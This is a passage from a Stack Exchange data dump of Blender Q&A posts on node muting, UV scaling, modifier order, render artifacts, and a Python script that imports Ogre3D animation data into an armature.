alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5110" LastEditorUserId="599" LastEditDate="2014-07-13T07:17:05.123" LastActivityDate="2014-07-13T07:17:05.123" Title="Red nodes aren't affecting result" Tags="&lt;compositor&gt;&lt;node-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14018" PostTypeId="2" ParentId="14017" CreationDate="2014-07-13T07:12:38.523" Score="5" Body="&lt;p&gt;Those nodes are red because they are &lt;em&gt;muted&lt;/em&gt;, which is a means of disabling a node temporarily. &lt;kbd&gt;M&lt;/kbd&gt; toggles the selected nodes muted/unmuted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grouping in your file works fine for me, so I'm guessing you pressed &lt;kbd&gt;M&lt;/kbd&gt; accidentally while pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix, just select the muted nodes and press &lt;kbd&gt;M&lt;/kbd&gt; again.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-13T07:12:38.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14019" PostTypeId="2" ParentId="13906" CreationDate="2014-07-13T07:29:22.803" Score="4" Body="&lt;p&gt;The hint from cegaton's comment solved the issue. I had only to increase the end clipping distance in the camera behind the plane with grass.&lt;/p&gt;&#xA;" OwnerUserId="5110" LastEditorUserId="29" LastEditDate="2014-07-13T07:54:50.947" LastActivityDate="2014-07-13T07:54:50.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14023" PostTypeId="2" ParentId="13575" CreationDate="2014-07-13T12:11:51.167" Score="2" Body="&lt;p&gt;In &quot;Child of&quot; panel select the &quot;set inverse&quot; button. Most of the time, this resolves this sort of thing for me. I can't explain the mechanics of it. If this does't work and you want to go back to the original, click on the &quot;clear inverse.&quot;&lt;/p&gt;&#xA;" OwnerUserId="5177" LastActivityDate="2014-07-13T12:11:51.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14025" PostTypeId="1" AcceptedAnswerId="14038" CreationDate="2014-07-13T14:44:36.933" Score="4" ViewCount="506" Body="&lt;p&gt;I have added cloths in blender to a model imported from Make Human.&#xA;I linked it with the rig on the make human model using automatic weighting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally it is alright:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oMFhG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in some cases the model shows though the cloths:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UQSyD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to prevent this from happening?&lt;/p&gt;&#xA;" OwnerUserId="4846" LastActivityDate="2014-07-16T12:54:33.970" Title="Adding blender cloths to a make human model" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14026" PostTypeId="1" AcceptedAnswerId="14042" CreationDate="2014-07-13T15:28:43.493" Score="1" ViewCount="466" Body="&lt;p&gt;I am very new to blender but have made some good progress recently. I have a curved surface that I need to cut a precise hole in and from YouTube videos it seems that the Retopo method is the way to go. The problem I have is that I can't get to the menu where I can call upon it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a MS Surface Pro 3 with a Bluetooth keyboard. It doesn't have a dedicated F9 key but if I push the F key and the F9 multi key it should be the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;Chris&lt;/p&gt;&#xA;" OwnerUserId="5195" LastActivityDate="2016-07-06T08:48:42.920" Title="I can't find the Retopo menu" Tags="&lt;mesh&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14027" PostTypeId="1" CreationDate="2014-07-13T15:31:00.947" Score="2" ViewCount="117" Body="&lt;p&gt;In v2.7 I, as complete newbie, I first attempted to use the materials menu (without reading a tutorial) and was offered, to my pleasurable surprise, a window with an array of selectable shiny materials, perfect for my model. These were applied in solid view-port shading for both edit and object modes, replacing the gray default material. I disabled this material becuse its brightness was occasionally obscuring the meshes during editing, and presumably having not saved this, it has been lost. I have been unable to repeat my actions despite having loaded all .blend files on my system to retry and having done endless web searches for information.&#xA;I would dearly like this option back, can anyone help please?&lt;/p&gt;&#xA;" OwnerUserId="4904" LastActivityDate="2014-07-13T16:07:33.313" Title="In v2.7 cannot repeat change to solid view-port shading default gray to shiny metalic option." Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14028" PostTypeId="2" ParentId="14027" CreationDate="2014-07-13T16:07:33.313" Score="3" Body="&lt;p&gt;I think you are talking about the &lt;strong&gt;Matcap&lt;/strong&gt; option for solid view mode :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 3D view, hit &lt;kbd&gt;N&lt;/kbd&gt; key to display the properties toolbar, then thick the Matcap option and choose a material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dRXFO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it only affects the 3D view in &quot;solid view&quot; mode, and won't be used for rendering.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-07-13T16:07:33.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14031" PostTypeId="2" ParentId="13916" CreationDate="2014-07-13T17:18:25.137" Score="5" Body="&lt;p&gt;You would need to enable rigid body from the physics tb for each chain link. Set the one you want to animate as passive all others to active. The collision shape must be &lt;em&gt;Mesh&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fZt3c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Settings for the links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5w0DO.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RPcX0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To control the passive link by an armature you could add a &lt;em&gt;Copy Location Contrained&lt;/em&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KcPeS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x7Xee.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the chain breaks in the simulation increase the &lt;em&gt;Solver iterations&lt;/em&gt; from the &lt;em&gt;Scene / Rigid Body World&lt;/em&gt; settings and click &lt;em&gt;Free Bake&lt;/em&gt; followed by &lt;em&gt;Bake All Dynamics&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KbAzq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Demo &lt;a href=&quot;http://pasteall.org/blend/30378&quot; rel=&quot;noreferrer&quot;&gt;.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-07-13T17:18:25.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14032" PostTypeId="1" AcceptedAnswerId="14033" CreationDate="2014-07-13T17:24:06.673" Score="3" ViewCount="1827" Body="&lt;p&gt;I want to delete these bone groups but the remove button is disabled. How do I unlock and delete them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ERjbq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4846" LastEditorUserId="599" LastEditDate="2014-07-13T17:46:49.000" LastActivityDate="2014-07-13T17:46:49.000" Title="Why is the bone group remove button disabled?" Tags="&lt;interface&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14033" PostTypeId="2" ParentId="14032" CreationDate="2014-07-13T17:44:28.597" Score="5" Body="&lt;p&gt;You must be in &lt;em&gt;pose mode&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the armature and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt;, or set the mode in &lt;em&gt;3D view &gt; Header&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TjJoX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-07-13T17:44:28.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14034" PostTypeId="2" ParentId="14026" CreationDate="2014-07-13T18:16:15.097" Score="1" Body="&lt;p&gt;To cut holes in other objects can choose between the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Booleans&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Boolean Modifier&lt;/em&gt;&lt;/a&gt; and &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Knife_Subdivide&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Knife Project&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the surface and a circle in object mode.&#xA;In &lt;em&gt;Edit Mode&lt;/em&gt; select &lt;em&gt;Top-View&lt;/em&gt; &lt;kbd&gt;7&lt;/kbd&gt;&#xA;And click &lt;em&gt;Knife Project&lt;/em&gt; from the Tools-Panel* or Space and enter knife.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/psIu9.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/i4lqP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unselect the contour of the circle with &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;RMB&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Cnqz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete the selected vertices &lt;kbd&gt;X&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ypj2D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case your curved surface is currently no mesh you could convert it from curves to mesh &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;C&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/7928/how-would-you-cut-a-shape-out-of-an-object-using-another-object/7933#7933&quot;&gt;How would you cut a shape out of an object using another object?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-07-13T18:16:15.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14035" PostTypeId="1" AcceptedAnswerId="14037" CreationDate="2014-07-13T19:01:10.887" Score="2" ViewCount="28647" Body="&lt;p&gt;I'm trying to position a UV map over an image and I cannot figure out how to scale the x and y dimensions independent of each other. As you can see from the picture I need to scale the y dimension to fit the eye. When I loaded the image inside of the UV editing window, the UV maps became distorted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IoXuM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5189" LastActivityDate="2016-12-22T10:50:27.497" Title="How to scale UV map?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14036" PostTypeId="2" ParentId="14035" CreationDate="2014-07-13T19:14:15.647" Score="3" Body="&lt;p&gt;Press &lt;kbd&gt;S&lt;/kbd&gt; to scale and limit the scale to any axis with &lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;Y&lt;/kbd&gt; (or &lt;kbd&gt;Z&lt;/kbd&gt; in 3D view).&lt;/p&gt;&#xA;" OwnerUserId="5197" LastActivityDate="2014-07-13T19:14:15.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14037" PostTypeId="2" ParentId="14035" CreationDate="2014-07-13T19:15:04.663" Score="9" Body="&lt;p&gt;You do it the same way as everywhere else, by pressing &lt;kbd&gt;S&lt;/kbd&gt; followed by the axis you want to scale on, i.e. &lt;kbd&gt;X&lt;/kbd&gt;, &lt;kbd&gt;Y&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally you can press &lt;kbd&gt;S&lt;/kbd&gt; and then &lt;kbd&gt;Shift&lt;/kbd&gt; + the axis you don't want to scale along, and thus scaling along the other two; So if you pressed &lt;kbd&gt;S&lt;/kbd&gt;, followed by &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;X&lt;/kbd&gt;, you would scale along Y and Z, but not X. This, however, only applies in the 3D View, not in the UV/Image Editor, as there are only two dimensions.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="599" LastEditDate="2014-07-15T01:01:34.537" LastActivityDate="2014-07-15T01:01:34.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14038" PostTypeId="2" ParentId="14025" CreationDate="2014-07-13T19:18:02.013" Score="0" Body="&lt;p&gt;First you select the bone for the upper half of the arm, then edit the weightpaint map, in Weight Paint Mode (&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Tab&lt;/kbd&gt;, while in object mode), such that the parts that are not supposed to be affected by the bone are blue.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2014-07-16T12:54:33.970" LastActivityDate="2014-07-16T12:54:33.970" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14040" PostTypeId="1" AcceptedAnswerId="14041" CreationDate="2014-07-14T01:22:12.877" Score="1" ViewCount="8750" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bsXQX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y0wyk.png&quot; alt=&quot;Boolean Modifier and Subdivision Surface&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to cut numerous holes into a cylinder to create the barrel of gun. I used the Boolean modifier to cut the holes but now when I try to apply a subdivision surface to the cylinder I get horrifying results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would applying the subdivision surface first give better results or should I abandon the Boolean modifier entirely and opt for the knife project tool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Thanks to cegaton I am now able to cut the holes and use a subdivision surface. I still end up with an issue when smooth shading is applied though.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jfzMF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5199" LastEditorUserId="2217" LastEditDate="2014-07-14T02:33:11.477" LastActivityDate="2020-05-17T14:09:20.070" Title="Cutting Holes with Boolean Modifier Makes Subdivision Surface Impossible" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14041" PostTypeId="2" ParentId="14040" CreationDate="2014-07-14T02:05:35.157" Score="3" Body="&lt;p&gt;Invert the order of the modifiers, do the subsurf before the boolean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Nsmd8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wGg09.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-07-14T02:05:35.157" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14042" PostTypeId="2" ParentId="14026" CreationDate="2014-07-14T04:14:39.607" Score="3" Body="&lt;p&gt;The video you mention is very old, it uses blender 2.49 which was before the major interface overhaul that started with blender 2.50. The mesh panel you are looking for had several things grouped together that are now in different places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The retopology part that you are after is now better defined under &lt;a href=&quot;https://www.blender.org/manual/editors/3dview/transform/transform_control/precision/snap.html&quot; rel=&quot;nofollow&quot;&gt;snapping options&lt;/a&gt;. With transform snapping enabled set the snap element to face and you can have vertices you move snap to an existing surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blendercookie has a more recent &lt;a href=&quot;https://cgcookie.com/archive/tip-stone-retopology-methods/&quot; rel=&quot;nofollow&quot;&gt;retopology video&lt;/a&gt; that you should find helpful.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2016-07-06T08:48:42.920" LastActivityDate="2016-07-06T08:48:42.920" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14043" PostTypeId="1" AcceptedAnswerId="14081" CreationDate="2014-07-14T05:10:08.987" Score="2" ViewCount="1308" Body="&lt;p&gt;When rendering I get unexpected artifacts that somewhat &lt;strong&gt;look like artifacts caused by double meshes (Z-depth problem)&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Blender Internal. The scene/meshes are not complex at all. I experimented with render settings as well as light and world settings, but the artifacts are there whatever the settings. Even when rendered without shadows or any other &quot;extras&quot;. The only setting that seems to change the appearance of the artifacts is the tile size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have double checked and am sure there are no double meshes in my geometry in object level or in sub object level. The normals are facing outward as they should. The meshes are not complex and clean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I include rendered images here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F8bWh.jpg&quot; alt=&quot;render output showing artifacts 1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TM7FJ.jpg&quot; alt=&quot;render output showing artifacts 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll find the .blend file here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.datafilehost.com/d/10f3364c&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Windows 7 64bit&lt;/li&gt;&#xA;&lt;li&gt;Blender 2.70&lt;/li&gt;&#xA;&lt;li&gt;ATI Radeon HD 5000 Series graphics Card with latest driver&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have searched Blender forums and learned that my graphics card was not the best choice for Blender... but as far as I know it should work well with the Internal renderer for CPU renderings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what causes the artifacts? How do I know if it's the graphics card causing it? Is there anything I can do about it or do I have to buy a card more suitable for Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noteiced two detailes that may be a hint...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;in perspective view the scene looks &quot;clean&quot;, as it should, but when I change to camera view it appears messy.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I am not confident about the unit settings. I was trying to work in centimeters, so I set &quot;metric&quot; and a scale of 0.01. But now the camera settings look unnormal: Focal length 0.28mm, sensor size 0.4mm...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5200" LastEditorUserId="5200" LastEditDate="2014-07-15T13:04:18.553" LastActivityDate="2014-07-15T15:36:20.937" Title="Where do my rendering artifacts come from?" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="14044" PostTypeId="1" AcceptedAnswerId="14063" CreationDate="2014-07-14T06:17:58.847" Score="7" ViewCount="8203" Body="&lt;p&gt;I'd like to render a normal map for an entire scene (for a large background for an isometric game). I tried exporting the &quot;Normal&quot; pass of my render layer, but it's not quite right. Here's what I get from a cylinder:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tQcrJ.png&quot; alt=&quot;Rendered&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For comparison, here's more what I (not to mention the game engine) was expecting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/glIJF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen tutorials on normal maps, but they are all about baking one object's geometry onto a simplified model. Is there an easy way to render a normal map for an entire scene, to line up with the standard combined render?&lt;/p&gt;&#xA;" OwnerUserId="5204" LastActivityDate="2020-12-20T21:04:31.970" Title="Render entire scene normals" Tags="&lt;rendering&gt;&lt;image&gt;&lt;normals&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14045" PostTypeId="1" AcceptedAnswerId="14066" CreationDate="2014-07-14T07:51:10.580" Score="1" ViewCount="436" Body="&lt;p&gt;&lt;strong&gt;What I have:&lt;/strong&gt; Blender 2.70, a XML file of &lt;strong&gt;Ogre3D&lt;/strong&gt; origin with data of armature and animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I've done so far:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have managed to create an armature using the data from the XML file.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/N7K6B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to create animation for my armature with the data from the very same XML file that has created my armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;These are the results:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://makeagif.com/85cCue&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Walking animation on Make A Gif&quot;&gt;&lt;img src=&quot;https://cdn.makeagif.com/media/7-14-2014/85cCue.gif&quot; alt=&quot;Walking animation on Make A Gif&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Walking animation:&lt;/strong&gt; Both arms are swinging in the same direction when it should not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://makeagif.com/cdy7_E&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Climb Ladder Animation on Make A Gif&quot;&gt;&lt;img src=&quot;https://cdn.makeagif.com/media/7-14-2014/cdy7_E.gif&quot; alt=&quot;Climb Ladder Animation on Make A Gif&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Climb Ladder animation:&lt;/strong&gt; The right arm! Argh!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://makeagif.com/A5aux6&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;Climb Window Animation on Make A Gif&quot;&gt;&lt;img src=&quot;https://cdn.makeagif.com/media/7-14-2014/A5aux6.gif&quot; alt=&quot;Climb Window Animation on Make A Gif&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Climb Over Window animation:&lt;/strong&gt; The legs are messed up! Only the left arm appears to be correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the script that I've created to enable my non-perfect animations.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def xCollectAnimationData(animationData, xDoc):&#xA;    OGRE_ANIMATIONS = {}&#xA;    AnimationDuration = {}&#xA;    animationData['animation'] = OGRE_ANIMATIONS&#xA;    animationData['animationLength'] = AnimationDuration&#xA;&#xA;    scn = bpy.context.scene&#xA;    arm = bpy.data.armatures[&quot;Rig&quot;]&#xA;    rigobj = bpy.data.objects[&quot;Rig&quot;]&#xA;    scn.objects.active = rigobj&#xA;    rigobj.select = True&#xA;&#xA;    bpy.ops.object.mode_set(mode = 'POSE')&#xA;&#xA;    for animations in xDoc.getElementsByTagName('animations'):&#xA;        for animation in animations.childNodes:&#xA;            OGRE_Animation = {}&#xA;            if animation.localName == 'animation':&#xA;                animationName = str(animation.getAttributeNode('name').value)&#xA;                animationLength = float(animation.getAttributeNode('length').value)&#xA;                OGRE_Animation['name'] = animationName&#xA;                OGRE_Animation['length'] = animationLength&#xA;&#xA;                action = bpy.data.actions.new(animationName)&#xA;&#xA;                for tracks in animation.getElementsByTagName('tracks'):&#xA;                    for track in tracks.childNodes:&#xA;                        if track.localName == 'track':&#xA;                            trackName = str(track.getAttributeNode('bone').value)&#xA;                            OGRE_Animation['track'] = trackName&#xA;&#xA;                            #Select the bones&#xA;                            try:                   &#xA;                                boneSelect = bpy.context.object.data.bones[trackName]&#xA;                                boneSelect.select = True&#xA;                            except:&#xA;                                boneSelect.select = False&#xA;                                print (trackName + &quot; not found!&quot;)                           &#xA;&#xA;                            for keyframes in track.getElementsByTagName('keyframes'):&#xA;                                for keyframe in keyframes.childNodes:&#xA;                                    if keyframe.localName == 'keyframe':&#xA;                                        time = float(keyframe.getAttributeNode('time').value)&#xA;                                        OGRE_Animation['time'] = time&#xA;&#xA;                                        for a in keyframe.childNodes:&#xA;&#xA;                                            if a.localName == 'rotate':&#xA;                                                boneSelect.select = True&#xA;&#xA;                                                angle = float(a.getAttributeNode('angle').value)&#xA;                                                axis = a.childNodes[1]&#xA;&#xA;                                                try:&#xA;                                                    axisx = float(axis.getAttributeNode('x').value)&#xA;                                                except ValueError:&#xA;                                                    axisx = 0.0&#xA;                                                try:&#xA;                                                    axisy = float(axis.getAttributeNode('y').value)&#xA;                                                except ValueError:&#xA;                                                    axisy = 0.0&#xA;                                                try:&#xA;                                                    axisz = float(axis.getAttributeNode('z').value)&#xA;                                                except ValueError:&#xA;                                                    axisz = 0.0&#xA;                                                print (trackName + &quot;: &quot; + str(angle)+ &quot;, &quot; + str(axisx)+ &quot;, &quot;+str(axisy)+ &quot;, &quot;+str(axisz))&#xA;                                                OGRE_Animation['rotation'] = [axisx,axisy,axisz,angle]&#xA;                                                bpy.ops.transform.rotate(value=(angle), axis=(axisz,axisy,axisx))  &#xA;                                                bpy.data.objects[&quot;Rig&quot;].pose.bones[boneSelect.name].keyframe_insert(data_path='rotation_quaternion', frame = (time * 30), group = trackName)&#xA;                                                bpy.ops.transform.rotate(value=(-angle), axis=(axisz,axisy,axisx))&#xA;&#xA;                                            if a.localName == 'translate':&#xA;                                                boneSelect.select = True&#xA;&#xA;                                                x = float(a.getAttributeNode('x').value)&#xA;                                                y = float(a.getAttributeNode('y').value)&#xA;                                                z = float(a.getAttributeNode('z').value)&#xA;                                                OGRE_Animation['translate'] = [x,y,z]&#xA;                                                bpy.ops.transform.translate(value=(x,y,z))&#xA;                                                print (x,y,z)&#xA;                                                scn.update()   &#xA;                                                bpy.data.objects[&quot;Rig&quot;].pose.bones[boneSelect.name].keyframe_insert(data_path='location', frame = (time * 30), group = trackName)&#xA;                                                bpy.ops.transform.translate(value=(-x,-y,-z)) &#xA;&#xA;                                            boneSelect.select = False   &#xA;                                        #except:&#xA;                                        #    return &#xA;                            boneSelect.select = False&#xA;&#xA;&#xA;&#xA;                OGRE_ANIMATIONS[animationName] = OGRE_Animation&#xA;                print (animationName)&#xA;&#xA;    scn.update() &#xA;    bpy.ops.object.mode_set(mode='OBJECT')                                           &#xA;    return OGRE_ANIMATIONS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TLDR:&lt;/strong&gt; What I did is that I select my rig, make it as my current active object, then switch to pose mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, I select the specific bone I want to animate to be current active bone; I give it a rotation by doing a &lt;strong&gt;bpy.ops.transform.rotate(value=(angle), axis=(axisz,axisy,axisx))&lt;/strong&gt; (angle,axisx, etc are gathered from the XML file), keyframe it at a specific time (timing also from XML), and then rotating it back to the original position. The same goes for translation of bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the snipplet of the XML 